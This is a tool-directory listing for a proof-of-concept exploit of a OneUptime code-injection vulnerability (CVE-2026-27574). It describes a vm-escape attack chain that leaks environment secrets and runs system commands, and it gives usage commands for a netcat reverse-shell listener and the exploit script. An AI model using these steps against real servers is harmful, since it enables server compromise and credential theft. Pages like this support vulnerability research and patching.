Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mbanyamer/cve-2026-27574-oneuptime-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubmbanyamer/cve-2026-27574-oneuptime-rce

CVE-2026-27574-OneUptime-RCE

Proof-of-concept exploit for CVE-2026-27574, a critical code injection in OneUptime enabling remote code execution and environment variable leakage.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27574-OneUptime-RCE

Author Role Country Platform Vulnerability CVE CVSS Status

Overview

Proof-of-Concept exploit for CVE-2026-27574 – a critical code injection vulnerability (CWE-94) in OneUptime < 10.0.0 allowing arbitrary JavaScript execution in the probe context, leading to full remote code execution (RCE) and leakage of sensitive environment variables.

Fixed in: OneUptime 10.0.0 (migration to isolated-vm)

Exploit type: Remote
Authentication: Low-privilege (any registered project member)
Impact: Full server compromise, credential theft, cluster takeover

Attack Flow Diagram

root@kitploit:~
flowchart TD
    A[Start] --> B[Open Registration]
    B --> C[Register New Account]
    C --> D[Create New Project]
    D --> E[Obtain ProjectMember Role]
    E --> F[Create Custom JavaScript Monitor]
    F --> G[Inject Malicious vm Escape Payload]
    G --> H[Probe Executes Code Every ~60s]
    H --> I[Escape vm Context via constructor chain]
    I --> J[Access process & child_process]
    J --> K[Execute System Commands]
    J --> L[Leak Environment Variables]
    K --> M[Read /etc/passwd, id, hostname, etc.]
    L --> N[Extract ONEUPTIME_SECRET, DB/Redis passwords, etc.]
    M --> O[Full RCE Achieved]
    N --> O
    O --> P[Optional: Reverse Shell / Data Exfiltration]
    P --> Q[End - System Compromised]

Features of This PoC

  • Automatic account registration
  • Project creation
  • Malicious JavaScript monitor creation
  • Environment variable leakage
  • Basic command execution proof
  • Optional reverse shell payload (commented)

Usage

root@kitploit:~
# Start listener (if using reverse shell)
nc -lvnp 4444

# Run the exploit
python3 exploit.py http://target:3002 --lhost YOUR_IP --lport 4444

Requirements

  • Python 3.6+
  • requests library (pip install requests)

Legal & Ethical Notice

This code is provided for educational and authorized security testing purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

References

  • GitHub Advisory GHSA-v264-xqh4-9xmm
  • Patch Commit

Developed by Mohammed Idrees Banyamer • Jordan • @banyamer_security

Download Tool